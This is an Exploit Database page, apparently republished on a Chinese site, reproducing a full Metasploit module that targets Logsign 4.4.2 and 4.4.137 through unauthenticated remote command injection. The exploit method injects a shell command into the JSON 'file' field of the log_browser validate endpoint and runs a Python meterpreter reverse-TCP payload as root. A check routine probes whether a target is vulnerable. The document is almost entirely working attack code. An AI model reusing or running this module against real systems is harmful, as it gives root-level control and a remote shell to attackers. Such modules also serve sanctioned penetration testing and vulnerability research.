Logsign 4.4.2/4.4.137 – Remote Command Injection (Metasploit)

• Exploit Database
• 15 阅读

• 作者： Mehmet Ince
  日期： 2017-03-24
• 类别：

  • remote
  平台：

  • Python
• 来源：https://www.exploit-db.com/exploits/41720/

• ##
  # This module requires Metasploit: http://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::HttpClient
  
  def initialize(info={})
  super(update_info(info,
  'Name' => 'Logsign Remote Command Injection',
  'Description'=> %q{
  This module exploits an command injection vulnerability in Logsign.
  By exploiting this vulnerability, unauthenticated users can execute
  arbitrary code under the root user.
  
  Logsign has a publicly accessible endpoint. That endpoint takes a user
  input and then use it during operating system command execution without
  proper validation.
  
  This module was tested against 4.4.2 and 4.4.137 versions.
  },
  'License' => MSF_LICENSE,
  'Author'=>
  [
  'Mehmet Ince <mehmet@mehmetince.net>'# author & msf module
  ],
  'References'=>
  [
  ['URL', 'https://pentest.blog/unexpected-journey-3-visiting-another-siem-and-uncovering-pre-auth-privileged-remote-code-execution/']
  ],
  'Privileged'=> true,
  'Platform'=> ['python'],
  'Arch'=> ARCH_PYTHON,
  'DefaultOptions'=>
  {
  'payload' => 'python/meterpreter/reverse_tcp'
  },
  'Targets' => [ ['Automatic', {}] ],
  'DisclosureDate'=> 'Feb 26 2017',
  'DefaultTarget' => 0
  ))
  
  end
  
  def check
  p_hash = {:file => "#{rand_text_alpha(15 + rand(4))}.raw"}
  
  res = send_request_cgi(
  'method' => 'POST',
  'uri' => normalize_uri(target_uri.path, 'api', 'log_browser', 'validate'),
  'ctype' => 'application/json',
  'data' => JSON.generate(p_hash)
  )
  
  if res && res.body.include?('{"message": "success", "success": true}')
  Exploit::CheckCode::Vulnerable
  else
  Exploit::CheckCode::Safe
  end
  end
  
  def exploit
  print_status("Delivering payload...")
  
  p_hash = {:file => "logsign.raw\" quit 2>&1 |python -c \"#{payload.encoded}\" #"}
  
  send_request_cgi(
  'method' => 'POST',
  'uri' => normalize_uri(target_uri.path, 'api', 'log_browser', 'validate'),
  'ctype' => 'application/json',
  'data' => JSON.generate(p_hash)
  )
  end
  end